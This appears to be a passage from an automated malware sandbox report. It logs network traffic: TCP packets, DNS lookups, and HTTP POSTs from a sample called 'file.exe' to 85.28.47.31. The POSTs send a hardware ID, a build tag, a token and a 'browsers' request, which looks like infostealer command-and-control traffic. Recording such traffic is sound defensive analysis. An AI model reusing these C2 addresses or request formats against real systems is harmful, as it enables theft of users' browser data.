Jul 27, 2024 09:26:10.483656883 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483666897 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483684063 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483697891 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518501997 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518541098 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518543959 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518557072 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518579960 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518587112 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518676996 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518719912 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518732071 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518747091 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518781900 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518783092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518796921 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518810987 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518815994 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518824100 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518838882 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518840075 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518850088 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518867970 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518872976 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518924952 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518939018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518953085 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518966913 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.518969059 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.518985033 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.519006014 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.551935911 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.551949024 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.551964045 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.551985025 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.551986933 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552000046 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552014112 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552015066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552028894 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552037954 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552061081 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552067041 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552088976 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552104950 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552191019 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552205086 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552217960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552232027 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552246094 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552259922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552329063 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552342892 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552357912 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552380085 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552392960 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552393913 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552407980 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552436113 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552448034 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552470922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552644968 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552655935 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552659988 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552675009 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552681923 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552689075 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552700043 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552702904 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552716017 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552721024 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552732944 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552733898 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552743912 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552761078 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552763939 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.552778006 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.552798033 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.554203033 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.554240942 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.554246902 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.554255962 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.554280043 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.554291010 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.554382086 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.554395914 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.554409981 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.554425001 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.554425001 CEST	80	49733	185.215.113.16	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2024 09:26:33.288084984 CEST	192.168.2.5	1.1.1.1	0x1cd	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.303047895 CEST	192.168.2.5	1.1.1.1	0x2ab1	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 09:26:33.790575981 CEST	192.168.2.5	1.1.1.1	0x3525	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.790860891 CEST	192.168.2.5	1.1.1.1	0xbbbb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.804253101 CEST	192.168.2.5	1.1.1.1	0xea83	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.808800936 CEST	192.168.2.5	1.1.1.1	0x9210	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.812444925 CEST	192.168.2.5	1.1.1.1	0x4907	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Jul 27, 2024 09:26:33.818495989 CEST	192.168.2.5	1.1.1.1	0x4e4	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 09:26:34.646572113 CEST	192.168.2.5	1.1.1.1	0x770	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.647223949 CEST	192.168.2.5	1.1.1.1	0x83d8	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.656399012 CEST	192.168.2.5	1.1.1.1	0x1b46	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.657649994 CEST	192.168.2.5	1.1.1.1	0x5f3e	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.665652037 CEST	192.168.2.5	1.1.1.1	0x9317	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.666131973 CEST	192.168.2.5	1.1.1.1	0xf51e	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 27, 2024 09:26:34.674858093 CEST	192.168.2.5	1.1.1.1	0xd515	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.686788082 CEST	192.168.2.5	1.1.1.1	0xda65	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.690855026 CEST	192.168.2.5	1.1.1.1	0x9a4a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 09:26:35.427535057 CEST	192.168.2.5	1.1.1.1	0x1b8d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:35.438079119 CEST	192.168.2.5	1.1.1.1	0x95a4	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 09:26:35.609074116 CEST	192.168.2.5	1.1.1.1	0xcbf0	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:35.721843004 CEST	192.168.2.5	1.1.1.1	0xa5f1	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:35.730266094 CEST	192.168.2.5	1.1.1.1	0x32d5	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 09:26:58.385200977 CEST	192.168.2.5	1.1.1.1	0x1547	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2024 09:26:33.275561094 CEST	1.1.1.1	192.168.2.5	0xb6d4	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.295427084 CEST	1.1.1.1	192.168.2.5	0x1cd	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799442053 CEST	1.1.1.1	192.168.2.5	0x3525	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799916983 CEST	1.1.1.1	192.168.2.5	0xbbbb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 09:26:33.799916983 CEST	1.1.1.1	192.168.2.5	0xbbbb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.811062098 CEST	1.1.1.1	192.168.2.5	0xea83	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.815901041 CEST	1.1.1.1	192.168.2.5	0x9210	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:33.819828033 CEST	1.1.1.1	192.168.2.5	0x4907	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 09:26:33.819828033 CEST	1.1.1.1	192.168.2.5	0x4907	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 09:26:33.819828033 CEST	1.1.1.1	192.168.2.5	0x4907	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 09:26:33.819828033 CEST	1.1.1.1	192.168.2.5	0x4907	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 09:26:33.825526953 CEST	1.1.1.1	192.168.2.5	0x4e4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Jul 27, 2024 09:26:34.653908968 CEST	1.1.1.1	192.168.2.5	0x83d8	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.653927088 CEST	1.1.1.1	192.168.2.5	0x770	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.663825035 CEST	1.1.1.1	192.168.2.5	0x1b46	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.663825035 CEST	1.1.1.1	192.168.2.5	0x1b46	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.665390015 CEST	1.1.1.1	192.168.2.5	0x5f3e	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.672703981 CEST	1.1.1.1	192.168.2.5	0x9317	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 09:26:34.672703981 CEST	1.1.1.1	192.168.2.5	0x9317	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.681550026 CEST	1.1.1.1	192.168.2.5	0xd515	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:34.694560051 CEST	1.1.1.1	192.168.2.5	0xda65	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 09:26:34.694560051 CEST	1.1.1.1	192.168.2.5	0xda65	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:35.236172915 CEST	1.1.1.1	192.168.2.5	0x238a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 09:26:35.236172915 CEST	1.1.1.1	192.168.2.5	0x238a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:35.435064077 CEST	1.1.1.1	192.168.2.5	0x1b8d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:35.720793009 CEST	1.1.1.1	192.168.2.5	0xcbf0	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 09:26:35.720793009 CEST	1.1.1.1	192.168.2.5	0xcbf0	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 09:26:35.720793009 CEST	1.1.1.1	192.168.2.5	0xcbf0	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:35.729774952 CEST	1.1.1.1	192.168.2.5	0xa5f1	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 27, 2024 09:26:35.739494085 CEST	1.1.1.1	192.168.2.5	0x32d5	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	85.28.47.31	80	2764	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:24:56.159008026 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 09:24:56.802109957 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:24:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:24:56.822187901 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBK Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 41 41 32 45 43 42 43 45 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 2d 2d 0d 0a Data Ascii: ------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="hwid"25AA2ECBCE684217651120------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="build"sila------EHDGIJJDGCBKFIDHIEBK--
Jul 27, 2024 09:24:57.510972023 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:24:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 47 59 30 5a 44 46 68 4e 47 46 6d 59 57 45 31 4e 6d 4e 6b 4f 47 46 6d 4d 32 45 32 4f 44 67 79 4e 54 46 6b 4d 54 67 35 4e 6a 49 79 4f 54 46 6a 4d 32 45 30 5a 6d 4d 33 5a 6a 4d 7a 59 57 45 30 4d 54 55 31 4d 32 45 78 4e 54 4d 35 4d 7a 68 69 4d 54 67 7a 4e 44 45 79 4d 54 51 31 4f 44 4e 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OGY0ZDFhNGFmYWE1NmNkOGFmM2E2ODgyNTFkMTg5NjIyOTFjM2E0ZmM3ZjMzYWE0MTU1M2ExNTM5MzhiMTgzNDEyMTQ1ODNjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwxfHlibmNiaHlsZXBtZXw=
Jul 27, 2024 09:24:57.512515068 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKJDGCGDAAAKECAKKJD Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 2d 2d 0d 0a Data Ascii: ------FBKJDGCGDAAAKECAKKJDContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------FBKJDGCGDAAAKECAKKJDContent-Disposition: form-data; name="message"browsers------FBKJDGCGDAAAKECAKKJD--
